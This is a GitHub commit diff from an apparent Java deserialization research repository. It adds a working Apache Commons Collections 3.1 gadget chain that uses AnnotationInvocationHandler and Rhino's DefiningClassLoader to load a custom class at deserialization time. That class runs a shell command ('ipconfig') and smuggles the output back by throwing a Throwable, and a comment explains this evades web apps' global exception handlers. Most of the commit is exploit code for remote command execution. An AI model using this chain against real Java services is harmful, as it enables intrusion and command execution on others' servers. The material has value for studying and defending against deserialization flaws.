Skip to content

Commit 1b8fd79

Browse files
author
xuanyonghao
committed
新增define利用，实现反序列化漏洞回显
1 parent e49ac56 commit 1b8fd79

File tree

5 files changed

+133
-43
lines changed

5 files changed

+133
-43
lines changed

‎pom.xml‎

Lines changed: 4 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -33,21 +33,12 @@
3333
</dependency>
3434

3535
<dependency>
36-
<groupId>io.protostuff</groupId>
37-
<artifactId>protostuff-core</artifactId>
38-
<version>1.4.4</version>
39-
</dependency>
40-
<dependency>
41-
<groupId>io.protostuff</groupId>
42-
<artifactId>protostuff-runtime</artifactId>
43-
<version>1.4.4</version>
44-
</dependency>
45-
<dependency>
46-
<groupId>com.xyh.serialization_utils</groupId>
47-
<artifactId>Serialization-Utils</artifactId>
48-
<version>1.0-SNAPSHOT</version>
36+
<groupId>org.mozilla</groupId>
37+
<artifactId>rhino</artifactId>
38+
<version>1.7.6</version>
4939
</dependency>
5040

41+
5142
</dependencies>
5243

5344
<build>

‎src/main/java/com/xyh/collections3/SerializeUtil.java‎

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package com.xyh.collections3;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.ObjectInputStream;
6+
import java.io.ObjectOutputStream;
7+
8+
/**
9+
* Created by xuanyonghao on 2018/5/5.
10+
*/
11+
public class SerializeUtil {
12+
/**
13+
* 序列化
14+
*
15+
*/
16+
public static byte[] serialize(Object o) throws Exception {
17+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
18+
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
19+
objectOutputStream.writeObject(o);
20+
byte[] bytes = byteArrayOutputStream.toByteArray();
21+
objectOutputStream.close();
22+
return bytes;
23+
}
24+
25+
/**
26+
* 反序列化
27+
*
28+
*/
29+
public static <T>T deserialize(byte[] bytes) throws Exception {
30+
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
31+
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
32+
T o = (T) objectInputStream.readObject();
33+
objectInputStream.close();
34+
return o;
35+
}
36+
}

‎src/main/java/com/xyh/collections3/no1/SerializeMapForTransformer.java‎

Lines changed: 7 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.xyh.collections3.no1;
22

33

4+
import com.xyh.collections3.SerializeUtil;
45
import org.apache.commons.collections.Transformer;
56
import org.apache.commons.collections.functors.ChainedTransformer;
67
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -58,9 +59,9 @@ private static void testAnnotationInvocationHandlerMap(Transformer transformer)
5859
ctor.setAccessible(true);
5960
InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
6061
//序列化输出
61-
byte[] bytes = serialize(o);
62+
byte[] bytes = SerializeUtil.serialize(o);
6263
//反序列化
63-
deserialize(bytes);
64+
SerializeUtil.deserialize(bytes);
6465
}
6566

6667
/**
@@ -71,9 +72,9 @@ private static void testMap(Transformer transformer) throws Exception{
7172
//转化map
7273
Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);
7374
//序列化输出
74-
byte[] bytes = serialize(ouputMap);
75+
byte[] bytes = SerializeUtil.serialize(ouputMap);
7576
//反序列化
76-
Map innerMap = deserialize(bytes);
77+
Map innerMap = SerializeUtil.deserialize(bytes);
7778
//put操作触发，命令链
7879
innerMap.put("2","orange");
7980
}
@@ -85,34 +86,10 @@ private static void testMap(Transformer transformer) throws Exception{
8586
private static void testReadObject() throws Exception {
8687
A a = new A();
8788
//序列化
88-
byte[] bytes = serialize(a);
89-
A a1 = deserialize(bytes);
89+
byte[] bytes = SerializeUtil.serialize(a);
90+
A a1 = SerializeUtil.deserialize(bytes);
9091
}
9192

92-
/**
93-
* 序列化
94-
*
95-
*/
96-
private static byte[] serialize(Object o) throws Exception {
97-
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
98-
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
99-
objectOutputStream.writeObject(o);
100-
byte[] bytes = byteArrayOutputStream.toByteArray();
101-
objectOutputStream.close();
102-
return bytes;
103-
}
104-
105-
/**
106-
* 反序列化
107-
*
108-
*/
109-
private static <T>T deserialize(byte[] bytes) throws Exception {
110-
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
111-
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
112-
T o = (T) objectInputStream.readObject();
113-
objectInputStream.close();
114-
return o;
115-
}
11693
}
11794

11895
/**

‎src/main/java/com/xyh/collections3/no2/CallbackRuntime.java‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.xyh.collections3.no2;
2+
3+
import java.io.BufferedInputStream;
4+
5+
/**
6+
* Created by xuanyonghao on 2018/5/5.
7+
*/
8+
public class CallbackRuntime {
9+
public void exec(String cmd) throws Throwable {
10+
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
11+
StringBuilder stringBuilder = new StringBuilder();
12+
byte[] bytes = new byte[4096];
13+
int len = 0;
14+
while ((len = bufferedInputStream.read(bytes)) != -1)
15+
stringBuilder.append(new String(bytes));
16+
//此处最好不要使用Exception异常类，因为很多web项目可能会全局捕获该异常
17+
throw new Throwable(stringBuilder.toString());
18+
}
19+
}

‎src/main/java/com/xyh/collections3/no2/SerializeMapForTransformer.java‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
package com.xyh.collections3.no2;
2+
3+
import com.xyh.collections3.SerializeUtil;
4+
import org.apache.commons.collections.Transformer;
5+
import org.apache.commons.collections.functors.ChainedTransformer;
6+
import org.apache.commons.collections.functors.ConstantTransformer;
7+
import org.apache.commons.collections.functors.InvokerTransformer;
8+
import org.apache.commons.collections.map.TransformedMap;
9+
import org.mozilla.javascript.DefiningClassLoader;
10+
11+
import java.io.File;
12+
import java.io.FileInputStream;
13+
import java.io.IOException;
14+
import java.lang.annotation.Target;
15+
import java.lang.reflect.Constructor;
16+
import java.util.HashMap;
17+
import java.util.Map;
18+
19+
/**
20+
* 此处基于Collections3.1中的TransformedMap利用漏洞，并进一步利用defineCLass构造回显,回显利用异常抛出带回，
21+
* 但由于DefiningClassLoader类所属jar包使用范围有限，而且AnnotationInvocationHandler的利用也仅限jdk1.8以下，
22+
* 使得这样的利用链可用性不高。
23+
*
24+
* Created by xuanyonghao on 2018/5/4.
25+
*/
26+
public class SerializeMapForTransformer {
27+
public static void main(String[] args) throws Throwable {
28+
// testCallbackRuntime();
29+
30+
testAnnotationInvocationHandlerForDefineClass();
31+
}
32+
33+
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception {
34+
Transformer[] transformers = new Transformer[]{
35+
new ConstantTransformer(DefiningClassLoader.class),
36+
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}),
37+
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}),
38+
new InvokerTransformer("defineClass",new Class[]{String.class,byte[].class},new Object[]{"com.xyh.collections3.no2.CallbackRuntime",readCallbackRuntimeClassBytes()}),
39+
new InvokerTransformer("newInstance",new Class[]{},new Object[]{}),
40+
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"ipconfig"})
41+
};
42+
Transformer transformer = new ChainedTransformer(transformers);
43+
Map inner = new HashMap();
44+
inner.put("value","value");
45+
Map ouputMap = TransformedMap.decorate(inner,null,transformer);
46+
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
47+
ctor.setAccessible(true);
48+
Object o = ctor.newInstance(Target.class,ouputMap);
49+
//序列化输出
50+
byte[] bytes = SerializeUtil.serialize(o);
51+
//反序列化
52+
SerializeUtil.deserialize(bytes);
53+
}
54+
55+
private static byte[] readCallbackRuntimeClassBytes() throws IOException {
56+
//执行前先编译CallbackRuntime类得到class文件
57+
FileInputStream fileInputStream = new FileInputStream(new File("target/classes/com/xyh/collections3/no2/CallbackRuntime.class"));
58+
byte[] bytes = new byte[fileInputStream.available()];
59+
fileInputStream.read(bytes);
60+
return bytes;
61+
}
62+
63+
private static void testCallbackRuntime() throws Throwable {
64+
new CallbackRuntime().exec("ipconfig");
65+
}
66+
67+
}

0 commit comments

Comments
 (0)